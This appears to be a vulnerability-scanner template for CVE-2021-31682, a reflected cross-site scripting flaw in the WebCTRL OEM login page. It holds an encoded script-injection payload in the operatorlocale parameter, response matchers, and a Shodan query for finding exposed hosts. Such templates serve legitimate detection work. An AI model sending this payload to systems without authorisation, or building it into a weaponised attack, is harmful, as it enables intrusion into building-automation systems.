id: CVE-2021-31682

info:
  name: WebCTRL OEM <= 6.5 Cross-Site Scripting
  author: gy741,dhiyaneshDk
  severity: medium
  description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
    - https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31682
    cwe-id: CWE-79
  metadata:
    shodan-query: html:"/_common/lvl5/dologin.jsp"
  tags: cve,cve2021,webctrl,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        condition: and
        words:
          - '"><script>alert(document.domain)</script>'
          - 'common/lvl5'

      - type: word
        part: header
        words:
          - "text/html"

# Enhanced by mp on 2022/04/13